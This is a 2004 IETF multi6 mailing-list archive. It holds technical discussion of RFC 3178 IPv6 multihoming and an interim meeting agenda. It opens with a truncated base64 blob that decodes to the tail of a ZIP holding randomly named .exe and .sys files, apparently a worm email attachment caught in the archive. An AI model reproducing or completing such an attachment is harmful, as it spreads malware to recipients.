8UM5LMjIrfTPkYZ/YVPoYrpIAL8iuCChKUUXArLO0vpJdOPIhs4e+ENL6V3sZJyRmaL1nLVf
KlnjOqZKSmJoqap2NV5ycvjbqwY+B7jW7q4IJLakSKLlDGAVwbvjuMiaoPB/pgA6OAjX4QQw
Q937LRH8QDmlwRSHJJVaimCjbzlLtz2JgBalUAYGy8wbqu5lTB6Arsqx2AZhKZ4C7F8jkEz5
nNLu4zjNB4bc62+ubW05VX4rrFXyqwJp541ewUxiek2uxuF/Vi8VKpGnsYheveiOfsm0HVYv
B6JwynpGC7CEmJKjPV7fK6Q7iT8tYlxao2Tm19OwL2yDAk6pF9cDkOzP2/+DZ4GX3YUUvDHx
alh4slsvomG+SJUrDLntLrDL5jT600k3PiUtcqJBUjonGRnIYRqOPYz4VNn0kTN7ZmIOT9I8
JdgH7YujuhEusmledsFwmwOCJ/R49CY1sWV6TlgVAFtUOy/H585vMtqjZJ9h1rtZjcGJysWu
QB4nw4r4/WsD9jb0gTwFzm4VPOoVwNWVV04BFw3YNFyyd2h8STIsZ4jK8oLK4T4vncE/GkQZ
6Zfj0jPnhaLBpE7b3l+8W6FwuMFKTBXpV99e2QbXYKabBjZOs5VIennjSOeNPUatvAoV4dmt
mwXZbD9acoIy7mEB3WKLmQzKK9y3XrqamICUSyfMtLrL9bBqsgTClZhV57Jqn7iR7X/DMnXM
eX1qeVb5xy+adUIfgpHJODbueFkvHsHWnaM2cMZzuVouyXG8J5Q3I/McU3akiYA+HrEBSF7t
BS8kWugwve/z8DUWmMFT4I5GGVhdJw6eNQd3Y7hw+3H1Rl1Ra9W83kIfpuJIL+CciY6egX0O
atU/Csgc056TCjuVjQ3LCum22Cdo3fZSBJUbjSJiC1fD+NwXpO7fS9rTIaAnqeWCz1IFTUZn
vF5BBun/lQ1obZRJLXZpX3uSSXkHCWu02aicxoTJ2ss99IIYOLpjWIZMLKEbOQbJg6xHWLvA
OAqJupp2GpsE6hCtSxRWhqJwBCqV04OXFcVy0tpsCFMtHVPkv2Zwak9gU85kQWO5Cs8vypgi
Q3XfXuBDekmtLwd7cNboKyD6YuOEqZolYeGsLGnufiMTl6TIqkyIXbBA2Qbm+SS9Q0HcVtCw
USkvsGNywkSWlguCm9wk2Dnc0r58NL6kH71WLLjOD+pt8C0Ve1Ec70jFTnTbWbAZF0aRML5O
Rv901kmdgk9NGk54ElE/d471kg/2AWTSJva/FyZaCzMoAAzwWu90T0SQEVg0ybxFJROnpZ26
OQ3jMLtdmW/OzHjWHyPJjvvvIJLwDJNx/I/EBuSz/zVPzFkAxA6n6ovQOwatZvBonVf1wNA5
LnnfEqKH/PTbp+fxAJedJeu62eE1k0BRTVM62dZ7aENA/rlrcHYbC6kLDBr3ImPT//s06Ec9
UEsDBAoAAQAIAKBLuDBofGILFwAAAAYAAAALAAAAaG52dXFpai5zeXNe+S7ZHS3IVgIXRlQc
kbWQmGpReRexNlBLAQIUAAoAAQAIAKBLuDBip/GblWoAADNmAAAJAAAAAAAAAAEAIAAAAAAA
AABvbnVqeC5leGVQSwECFAAKAAEACACgS7gwaHxiCxcAAAAGAAAACwAAAAAAAAABACAAAAC8
agAAaG52dXFpai5zeXNQSwUGAAAAAAIAAgBwAAAA/GoAAAAA

----------ualxcrmtevahtcktdopd--




From owner-multi6@ops.ietf.org  Mon May 24 05:40:39 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA22807
	for <multi6-archive@lists.ietf.org>; Mon, 24 May 2004 05:40:38 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSBuJ-000JLd-PS
	for multi6-data@psg.com; Mon, 24 May 2004 09:38:07 +0000
Received: from [163.117.136.123] (helo=smtp03.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSBuG-000JKx-HV
	for multi6@ops.ietf.org; Mon, 24 May 2004 09:38:04 +0000
Received: from smtp03.uc3m.es (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with ESMTP
	id 3DE08293E3; Mon, 24 May 2004 11:38:03 +0200 (CEST)
Received: from arpa.it.uc3m.es (arpa.it.uc3m.es [163.117.139.120])
	by smtp03.uc3m.es (Postfix) with ESMTP
	id 1E576293B4; Mon, 24 May 2004 11:38:03 +0200 (CEST)
Received: from varpa.it.uc3m.es (varpa.it.uc3m.es [163.117.139.253])
	by arpa.it.uc3m.es (8.9.3/8.9.3) with ESMTP id LAA30546;
	Mon, 24 May 2004 11:38:02 +0200
Received: from [163.117.139.233] (dummyhost9.it.uc3m.es [163.117.139.233])
	by varpa.it.uc3m.es (8.9.3p2/8.9.3/Debian 8.9.3-21) with ESMTP id LAA14306;
	Mon, 24 May 2004 11:38:02 +0200
X-Authentication-Warning: varpa.it.uc3m.es: Host dummyhost9.it.uc3m.es [163.117.139.233] claimed to be [163.117.139.233]
In-Reply-To: <Pine.LNX.4.44.0405201049520.1330-100000@netcore.fi>
References: <Pine.LNX.4.44.0405201049520.1330-100000@netcore.fi>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Message-Id: <0F2CA10E-AD66-11D8-9B68-000D93ACD0FE@it.uc3m.es>
Content-Transfer-Encoding: quoted-printable
Cc: Multi6 List <multi6@ops.ietf.org>
From: marcelo bagnulo braun <marcelo@it.uc3m.es>
Subject: RFC 3178 mh (was Re: I-D ACTION:draft-huston-multi6-architectures-00.txt)
Date: Mon, 24 May 2004 11:38:06 +0200
To: Pekka Savola <pekkas@netcore.fi>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: quoted-printable

Hi Pekka,

A couple of questions about RFC 3178 multihoming...

El 20/05/2004, a las 10:21, Pekka Savola escribi=F3:
>
[...]
>                                      However, this draft does not
>          address another major drawback of the RFC 3178 approach, that
>          it does not protect against the complete failure of one or=20
> more
>          connected ISPs.
>
> =3D=3D> I think this is something where one should make a reality =
check.
> How often is it that the _whole_ ISP fails?  Pretty much _never_,

IMHO the problem is that RFC 3178 multihoming situation not only fails=20=

when the complete ISP fails, but it also fails when
- one of the access routers of the ISPs fail,
- one of the exit routers of the site fail
- one of the links between the ISPs and their upstream provider fail

While i agree that probably the complete failure of the ISP may be a=20
low probability event, i guess that the above mentioned events may be=20
more common.

The other reality check that i would like to do is how common is RFC=20
3178? if it is not very common, what do you think are the reasons for=20
its non adoption?

Regards, marcelo

>
> unless you count 1-man small ISPs which don't even have redundant
> connectivity and routers (and we shouldn't care about this).




From owner-multi6@ops.ietf.org  Mon May 24 05:46:58 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23086
	for <multi6-archive@lists.ietf.org>; Mon, 24 May 2004 05:46:58 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSC1b-000Kli-Kj
	for multi6-data@psg.com; Mon, 24 May 2004 09:45:39 +0000
Received: from [193.94.160.1] (helo=netcore.fi)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSC1X-000Kjq-Dt
	for multi6@ops.ietf.org; Mon, 24 May 2004 09:45:35 +0000
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id i4O9jWN26588;
	Mon, 24 May 2004 12:45:32 +0300
Date: Mon, 24 May 2004 12:45:32 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: marcelo bagnulo braun <marcelo@it.uc3m.es>
cc: Multi6 List <multi6@ops.ietf.org>
Subject: Re: RFC 3178 mh (was Re: I-D ACTION:draft-huston-multi6-architectures-00.txt)
In-Reply-To: <0F2CA10E-AD66-11D8-9B68-000D93ACD0FE@it.uc3m.es>
Message-ID: <Pine.LNX.4.44.0405241241490.26478-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 8BIT

On Mon, 24 May 2004, marcelo bagnulo braun wrote:
> El 20/05/2004, a las 10:21, Pekka Savola escribió:
> >
> [...]
> >                                      However, this draft does not
> >          address another major drawback of the RFC 3178 approach, that
> >          it does not protect against the complete failure of one or 
> > more
> >          connected ISPs.
> >
> > ==> I think this is something where one should make a reality check.
> > How often is it that the _whole_ ISP fails?  Pretty much _never_,
> 
> IMHO the problem is that RFC 3178 multihoming situation not only fails 
> when the complete ISP fails, but it also fails when
> - one of the access routers of the ISPs fail,
> - one of the exit routers of the site fail
> - one of the links between the ISPs and their upstream provider fail
> 
> While i agree that probably the complete failure of the ISP may be a 
> low probability event, i guess that the above mentioned events may be 
> more common.

No, this is definitely not the case.  The first two bullet points are
only valid if site site does not have tunnels to from the other exit
routers to the other ISPs (or the tunnel is terminated at the ISP to
the same router as the physical link), right?  The third point is only
valid if the ISP has only one link to an upstream provider -- and no
self-respecting ISP has only one upstream link.
 
> The other reality check that i would like to do is how common is RFC 
> 3178? if it is not very common, what do you think are the reasons for 
> its non adoption?

True enough.  I don't think there is sufficient evidence to make
conclusions of this, as the number of v6-enabled enterprises which
don't have IPv6 /32 prefixes (but which multihome w/ v4) is very
low..?

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings




From owner-multi6@ops.ietf.org  Mon May 24 06:24:27 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA24666
	for <multi6-archive@lists.ietf.org>; Mon, 24 May 2004 06:24:26 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSCbg-00017X-1a
	for multi6-data@psg.com; Mon, 24 May 2004 10:22:56 +0000
Received: from [163.117.136.123] (helo=smtp03.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSCbc-000170-0Q
	for multi6@ops.ietf.org; Mon, 24 May 2004 10:22:52 +0000
Received: from smtp03.uc3m.es (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with ESMTP
	id 2BC8C295E6; Mon, 24 May 2004 12:22:51 +0200 (CEST)
Received: from [163.117.139.233] (unknown [163.117.139.233])
	by smtp03.uc3m.es (Postfix) with ESMTP
	id 15B7D2959C; Mon, 24 May 2004 12:22:51 +0200 (CEST)
In-Reply-To: <Pine.LNX.4.44.0405241241490.26478-100000@netcore.fi>
References: <Pine.LNX.4.44.0405241241490.26478-100000@netcore.fi>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <51ACD372-AD6C-11D8-8EED-000D93ACD0FE@it.uc3m.es>
Content-Transfer-Encoding: 7bit
Cc: Multi6 List <multi6@ops.ietf.org>
From: marcelo bagnulo braun <marcelo@it.uc3m.es>
Subject: Re: RFC 3178 mh (was Re: I-D ACTION:draft-huston-multi6-architectures-00.txt)
Date: Mon, 24 May 2004 12:22:54 +0200
To: Pekka Savola <pekkas@netcore.fi>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

>>
>> IMHO the problem is that RFC 3178 multihoming situation not only fails
>> when the complete ISP fails, but it also fails when
>> - one of the access routers of the ISPs fail,
>> - one of the exit routers of the site fail
>> - one of the links between the ISPs and their upstream provider fail
>>
>> While i agree that probably the complete failure of the ISP may be a
>> low probability event, i guess that the above mentioned events may be
>> more common.
>
> No, this is definitely not the case.  The first two bullet points are
> only valid if site site does not have tunnels to from the other exit
> routers to the other ISPs (or the tunnel is terminated at the ISP to
> the same router as the physical link), right?

Well, this is possible but this is not described in RFC 3178 and it 
imposes additional configuration, for instance of the IGP of the ISP. 
But i agree that it is possible to support this configuration, with 
some added complexity. My point was aimed to identify another possible 
cause for the non success of this solution, which could be related to 
operational complexity? I mean, tunnel management, and added features 
like the support for additional failure modes may require additional 
manual configuration, which may make the solution less attractive.


> The third point is only
> valid if the ISP has only one link to an upstream provider -- and no
> self-respecting ISP has only one upstream link.
>

Well, you are assuming that very small sites will obtain its own 
address block from the RIR, which may not hold, i guess


>> The other reality check that i would like to do is how common is RFC
>> 3178? if it is not very common, what do you think are the reasons for
>> its non adoption?
>
> True enough.  I don't think there is sufficient evidence to make
> conclusions of this, as the number of v6-enabled enterprises which
> don't have IPv6 /32 prefixes (but which multihome w/ v4) is very
> low..?


Well, i guess this is an important issue to understand, since if rfc 
3178 multihoming is enough for some small sites (for instance), the new 
solution should be focused to satisfy the needs of the remaining sites 
(medium/big) sites, and the scalability required may be different.

In other words, understanding the reasons why rfc 3178 is not a good 
option may provide us good information for the design of the new 
solution, especially w.r.t to deployability.

regards, marcelo

>
> -- 
> Pekka Savola                 "You each name yourselves king, yet the
> Netcore Oy                    kingdom bleeds."
> Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings
>




From owner-multi6@ops.ietf.org  Mon May 24 09:18:28 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04402
	for <multi6-archive@lists.ietf.org>; Mon, 24 May 2004 09:18:27 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSFJL-0008BW-9D
	for multi6-data@psg.com; Mon, 24 May 2004 13:16:11 +0000
Received: from [195.212.29.152] (helo=mtagate3.de.ibm.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSFJI-0008Ar-75
	for multi6@ops.ietf.org; Mon, 24 May 2004 13:16:08 +0000
Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1])
	by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id i4ODG6fV098596
	for <multi6@ops.ietf.org>; Mon, 24 May 2004 13:16:06 GMT
Received: from sihl.zurich.ibm.com (sihl.zurich.ibm.com [9.4.16.232])
	by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4ODG6kb155336
	for <multi6@ops.ietf.org>; Mon, 24 May 2004 15:16:06 +0200
Received: from zurich.ibm.com (sig-9-145-240-202.de.ibm.com [9.145.240.202])
	by sihl.zurich.ibm.com (AIX4.3/8.9.3p2/8.9.3) with ESMTP id PAA47050
	for <multi6@ops.ietf.org>; Mon, 24 May 2004 15:16:05 +0200
Message-ID: <40B1F59A.7050306@zurich.ibm.com>
Date: Mon, 24 May 2004 15:16:10 +0200
From: Brian E Carpenter <brc@zurich.ibm.com>
Organization: IBM
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en, fr, de
MIME-Version: 1.0
To: Multi6 <multi6@ops.ietf.org>
Subject: Jabber volunteers for interim meeting?
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

For the interim MULTI6 meeting on June 14, it would be very helpful
to have one or two jabber scribes in operation. Any volunteers among
the people planning to attend? (It is expected that we will have a
wireless network in the room.)

We will also need a scribe for the regular minutes.

    Brian
    co-chair



From owner-multi6@ops.ietf.org  Mon May 24 09:19:33 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04537
	for <multi6-archive@lists.ietf.org>; Mon, 24 May 2004 09:19:33 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSFL9-0008eq-Vv
	for multi6-data@psg.com; Mon, 24 May 2004 13:18:03 +0000
Received: from [195.212.29.153] (helo=mtagate4.de.ibm.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSFKx-0008cZ-76
	for multi6@ops.ietf.org; Mon, 24 May 2004 13:17:51 +0000
Received: from d12nrmr1607.megacenter.de.ibm.com (d12nrmr1607.megacenter.de.ibm.com [9.149.167.49])
	by mtagate4.de.ibm.com (8.12.10/8.12.10) with ESMTP id i4ODHoAN105948
	for <multi6@ops.ietf.org>; Mon, 24 May 2004 13:17:50 GMT
Received: from sihl.zurich.ibm.com (sihl.zurich.ibm.com [9.4.16.232])
	by d12nrmr1607.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4ODHn6M159012
	for <multi6@ops.ietf.org>; Mon, 24 May 2004 15:17:49 +0200
Received: from zurich.ibm.com (sig-9-145-240-202.de.ibm.com [9.145.240.202])
	by sihl.zurich.ibm.com (AIX4.3/8.9.3p2/8.9.3) with ESMTP id PAA67364
	for <multi6@ops.ietf.org>; Mon, 24 May 2004 15:17:49 +0200
Message-ID: <40B1F601.7050304@zurich.ibm.com>
Date: Mon, 24 May 2004 15:17:53 +0200
From: Brian E Carpenter <brc@zurich.ibm.com>
Organization: IBM
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en, fr, de
MIME-Version: 1.0
To: Multi6 <multi6@ops.ietf.org>
Subject: Slightly updated announcement for interim meeting
Content-Type: multipart/mixed;
 boundary="------------070200060406040905040904"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

This is a multi-part message in MIME format.
--------------070200060406040905040904
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

This will be coming via IETF-Announce too.

    Brian
    co-chair

--------------070200060406040905040904
Content-Type: text/plain;
 name="interim-agenda.txt"
Content-Disposition: inline;
 filename="interim-agenda.txt"
Content-Transfer-Encoding: 7bit

Updated announcement and agenda for MULTI6 WG interim meeting
=============================================================


Date:  Monday June 14, 2004
Time:  09:00 - 17:00  PDT
Place: Loews Beach Hotel, Santa Monica, CA, USA

This is the same location as the North American IPv6 Summit;
see http://www.usipv6.com/ for full logistics and hotel discount 
code. (Of course, you may also wish to register for the Summit.)

For the Loews, make your hotel reservation ASAP [needed to be before 
May 21st to get the discount]. There are many other hotels and plenty
of restaurants nearby.

The room will hold about 100 people; at the moment we do not plan
on requiring formal advance registration. The informal count of
attendees was about 26 as of May 24.

Breakfast and lunch NOT provided. Coffee breaks planned
at 10:00 and 15:00 PDT, lunch break around noon.

An informal "Bar BOF" will be held in the late afternoon of Sunday 
June 13 to prepare for the main meeting. Location: somewhere in
Loews Hotel.

The goal of the meeting is to reach common ground on architectural
analysis and on the impact of various classes of solution. It is
*not* to discuss solutions in detail or to choose one of them.

Draft agenda (comments welcome).


1. IPR reminder, logistics, agenda bashing (co-chairs, 10 min.)

2. Charter review (co-chairs, 5 min.)
http://www.ietf.org/html.charters/multi6-charter.html

3. Review "Things to think about" draft (Eliot Lear, 45 min.)

   draft-lear-multi6-things-to-think-about-02.txt

4. Review threats draft(s) if updated (leader(s) TBD, 45 min.)

   draft-nordmark-multi6-threats-XX.txt
   draft-ohta-multi6-threats-XX.txt

5. Review + discuss future Architecture draft (Geoff Huston 
   by phone, co-chairs, 2 hours)

   draft-huston-multi6-architectures-00.txt

6. Open discussion on the impact of various categories of solutions
   (co-chairs, 1 hour)

7. Conclusions of meeting and where to move from here.
   

    Brian Carpenter & Kurt Erik Lindqvist, multi6 co-chairs 
--------------070200060406040905040904--



From owner-multi6@ops.ietf.org  Mon May 24 10:17:45 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08937
	for <multi6-archive@lists.ietf.org>; Mon, 24 May 2004 10:17:44 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSGEe-000LIT-Hp
	for multi6-data@psg.com; Mon, 24 May 2004 14:15:24 +0000
Received: from [171.71.176.72] (helo=sj-iport-3.cisco.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSGDu-000L4b-Tl
	for multi6@ops.ietf.org; Mon, 24 May 2004 14:14:38 +0000
Received: from sj-core-4.cisco.com (171.68.223.138)
  by sj-iport-3.cisco.com with ESMTP; 24 May 2004 06:23:04 +0000
Received: from edison.cisco.com (edison.cisco.com [171.71.180.109])
	by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id i4OEEZVh022636;
	Mon, 24 May 2004 07:14:36 -0700 (PDT)
Received: from [144.254.23.127] (dhcp-data-vlan10-23-127.cisco.com [144.254.23.127]) by edison.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id HAA13590; Mon, 24 May 2004 07:14:35 -0700 (PDT)
Message-ID: <40B2034A.4000205@cisco.com>
Date: Mon, 24 May 2004 16:14:34 +0200
From: Eliot Lear <lear@cisco.com>
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian E Carpenter <brc@zurich.ibm.com>
CC: Multi6 <multi6@ops.ietf.org>
Subject: Re: Slightly updated announcement for interim meeting
References: <40B1F601.7050304@zurich.ibm.com>
In-Reply-To: <40B1F601.7050304@zurich.ibm.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

I've just submitted an update to things-to-think-about.  Should show up 
in a day or two.  If I've still missed your favorite nit, please let me 
know.

Eliot


Brian E Carpenter wrote:

> This will be coming via IETF-Announce too.
> 
>    Brian
>    co-chair
> 
> 
> ------------------------------------------------------------------------
> 
> Updated announcement and agenda for MULTI6 WG interim meeting
> =============================================================
> 
> 
> Date:  Monday June 14, 2004
> Time:  09:00 - 17:00  PDT
> Place: Loews Beach Hotel, Santa Monica, CA, USA
> 
> This is the same location as the North American IPv6 Summit;
> see http://www.usipv6.com/ for full logistics and hotel discount 
> code. (Of course, you may also wish to register for the Summit.)
> 
> For the Loews, make your hotel reservation ASAP [needed to be before 
> May 21st to get the discount]. There are many other hotels and plenty
> of restaurants nearby.
> 
> The room will hold about 100 people; at the moment we do not plan
> on requiring formal advance registration. The informal count of
> attendees was about 26 as of May 24.
> 
> Breakfast and lunch NOT provided. Coffee breaks planned
> at 10:00 and 15:00 PDT, lunch break around noon.
> 
> An informal "Bar BOF" will be held in the late afternoon of Sunday 
> June 13 to prepare for the main meeting. Location: somewhere in
> Loews Hotel.
> 
> The goal of the meeting is to reach common ground on architectural
> analysis and on the impact of various classes of solution. It is
> *not* to discuss solutions in detail or to choose one of them.
> 
> Draft agenda (comments welcome).
> 
> 
> 1. IPR reminder, logistics, agenda bashing (co-chairs, 10 min.)
> 
> 2. Charter review (co-chairs, 5 min.)
> http://www.ietf.org/html.charters/multi6-charter.html
> 
> 3. Review "Things to think about" draft (Eliot Lear, 45 min.)
> 
>    draft-lear-multi6-things-to-think-about-02.txt
> 
> 4. Review threats draft(s) if updated (leader(s) TBD, 45 min.)
> 
>    draft-nordmark-multi6-threats-XX.txt
>    draft-ohta-multi6-threats-XX.txt
> 
> 5. Review + discuss future Architecture draft (Geoff Huston 
>    by phone, co-chairs, 2 hours)
> 
>    draft-huston-multi6-architectures-00.txt
> 
> 6. Open discussion on the impact of various categories of solutions
>    (co-chairs, 1 hour)
> 
> 7. Conclusions of meeting and where to move from here.
>    
> 
>     Brian Carpenter & Kurt Erik Lindqvist, multi6 co-chairs 



From owner-multi6@ops.ietf.org  Wed May 26 04:59:56 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA01509
	for <multi6-archive@lists.ietf.org>; Wed, 26 May 2004 04:59:56 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSuE7-0007UV-Ki
	for multi6-data@psg.com; Wed, 26 May 2004 08:57:31 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSuE6-0007UC-1Y
	for multi6@ops.ietf.org; Wed, 26 May 2004 08:57:30 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i4Q8aG1C068258;
	Wed, 26 May 2004 10:36:16 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <40B1F601.7050304@zurich.ibm.com>
References: <40B1F601.7050304@zurich.ibm.com>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <CC2D22F4-AEEF-11D8-8E28-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: Multi6 <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: Slightly updated announcement for interim meeting
Date: Wed, 26 May 2004 10:36:35 +0200
To: Brian E Carpenter <brc@zurich.ibm.com>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 24-mei-04, at 15:17, Brian E Carpenter wrote:

> The room will hold about 100 people; at the moment we do not plan
> on requiring formal advance registration. The informal count of
> attendees was about 26 as of May 24.

> 3. Review "Things to think about" draft (Eliot Lear, 45 min.)
> 4. Review threats draft(s) if updated (leader(s) TBD, 45 min.)
> 5. Review + discuss future Architecture draft (Geoff Huston
>    by phone, co-chairs, 2 hours)
> 6. Open discussion on the impact of various categories of solutions
>    (co-chairs, 1 hour)

I would like to repeat my suggestion that the things to think about and 
threats stuff be moved to the end of the meeting, as going in such 
detail before even discussing the architecture is likely to waste time 
on details that will turn out to be moot later.

Also, I was wondering if it were possible to allow those who are so 
inclined to make a sort of "opening statement" or have something 
similar to what the IAB did a few IETF meetings ago. I think we can 
assume that people who take the time to attend this interim meeting and 
have a point to make, will make sure they get to make this point, so 
even though this would technically eat up a lot of time (even at 5 
minutes a pop, if many people want to do this), in reality it wouldn't 
make a big difference. I think this would help focus on the important 
issues and avoid the common syndrome where during the discussions every 
speaker brings up something different from the previous one.

About the jabber thing: wouldn't it be more useful to see if we can 
stream the audio? That way there is no need for a volunteer to break 
any typing records and jabber remains available as an out of band 
channel. (Do we have a jabber conference server, btw?)




From owner-multi6@ops.ietf.org  Wed May 26 05:06:16 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01819
	for <multi6-archive@lists.ietf.org>; Wed, 26 May 2004 05:06:16 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BSuLH-0008cp-Fm
	for multi6-data@psg.com; Wed, 26 May 2004 09:04:55 +0000
Received: from [195.212.29.152] (helo=mtagate3.de.ibm.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BSuLF-0008cQ-Qw
	for multi6@ops.ietf.org; Wed, 26 May 2004 09:04:54 +0000
Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1])
	by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id i4Q94lfV055580;
	Wed, 26 May 2004 09:04:47 GMT
Received: from sihl.zurich.ibm.com (sihl.zurich.ibm.com [9.4.16.232])
	by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4Q94lw2277786;
	Wed, 26 May 2004 11:04:47 +0200
Received: from zurich.ibm.com (sig-9-145-139-16.de.ibm.com [9.145.139.16])
	by sihl.zurich.ibm.com (AIX4.3/8.9.3p2/8.9.3) with ESMTP id LAA30364;
	Wed, 26 May 2004 11:04:46 +0200
Message-ID: <40B45DB2.9050703@zurich.ibm.com>
Date: Wed, 26 May 2004 11:04:50 +0200
From: Brian E Carpenter <brc@zurich.ibm.com>
Organization: IBM
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en, fr, de
MIME-Version: 1.0
To: Iljitsch van Beijnum <iljitsch@muada.com>
CC: Multi6 <multi6@ops.ietf.org>
Subject: Re: Slightly updated announcement for interim meeting
References: <40B1F601.7050304@zurich.ibm.com> <CC2D22F4-AEEF-11D8-8E28-000A95CD987A@muada.com>
In-Reply-To: <CC2D22F4-AEEF-11D8-8E28-000A95CD987A@muada.com>
